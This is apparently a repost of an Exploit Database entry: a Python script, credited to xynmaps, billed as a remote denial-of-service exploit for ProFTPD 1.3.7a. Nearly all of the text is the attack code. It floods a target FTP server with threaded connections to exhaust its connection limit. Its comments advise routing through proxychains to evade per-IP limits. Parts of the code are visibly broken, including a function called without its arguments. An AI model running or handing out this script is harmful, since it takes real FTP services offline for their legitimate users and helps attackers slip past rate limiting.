ProFTPD 1.3.7a – Remote Denial of Service

• Exploit Database
• 139 阅读

• 作者： xynmaps
  日期： 2021-03-22
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49697/
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  # Exploit Title: ProFTPD 1.3.7a - Remote Denial of Service # Date: 22/03/2021 # Exploit Author: xynmaps # Vendor Homepage: http://www.proftpd.org/ # Software Link: https://github.com/proftpd/proftpd # Version: 1.3.7a # Tested on: Parrot Security OS 5.9.0   #-------------------------------#   #encoding=utf8 #__author__ = XYN/Dump/NSKB3 #ProFTPD Denial of Service exploit by XYN/Dump/NSKB3. """ ProFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server, you can block other legitimite users from making a connection to the server, if the the connections/ip isn&apos;t limited. (if it&apos;s limited, just run this script from different proxies using proxychains, and it will work) """   import socket import sys import threading import subprocess import time   banner = """ ._________________. |ProFTPD| | D o S | |_________________| |By XYN/DUMP/NSKB3| |_|_____________|_| |_|_|_|_____|_|_|_| |_|_|_|_|_|_|_|_|_|   """ usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])   def test(t,p): s = socket.socket() s.settimeout(10) try: s.connect((t, p)) response = s.recv(65535) s.close() return 0 except socket.error: print("Port {} is not open, please specify a port that is open.".format(p)) sys.exit() def attack(targ, po, id): try: subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #print("Worker {} running".format(id)) except OSError: pass def main(): global target, port, start print banner try: target = sys.argv[1] except: print usage sys.exit() try: port = int(sys.argv[2]) except: port = 21 try: conns = int(sys.argv[3]) except: conns = 50 print("[!] Testing if {0}:{1} is open".format(target, port)) test(target, port) print("[+] Port {} open, starting attack...".format(port)) time.sleep(2) print("[+] Attack started on {0}:{1}!".format(target, port)) def loop(target, port, conns): global start threading.Thread(target=timer).start() while 1: for i in range(1, conns + 3): t = threading.Thread(target=attack, args=(target,port,i,)) t.start() if i > conns + 2: t.join() break loop()   t = threading.Thread(target=loop, args=(target, port, conns,)) t.start()   def timer(): start = time.time() while 1: if start < time.time() + float(900): pass else: subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) t = threading.Thread(target=loop, args=(target, port,)) t.start() break   main()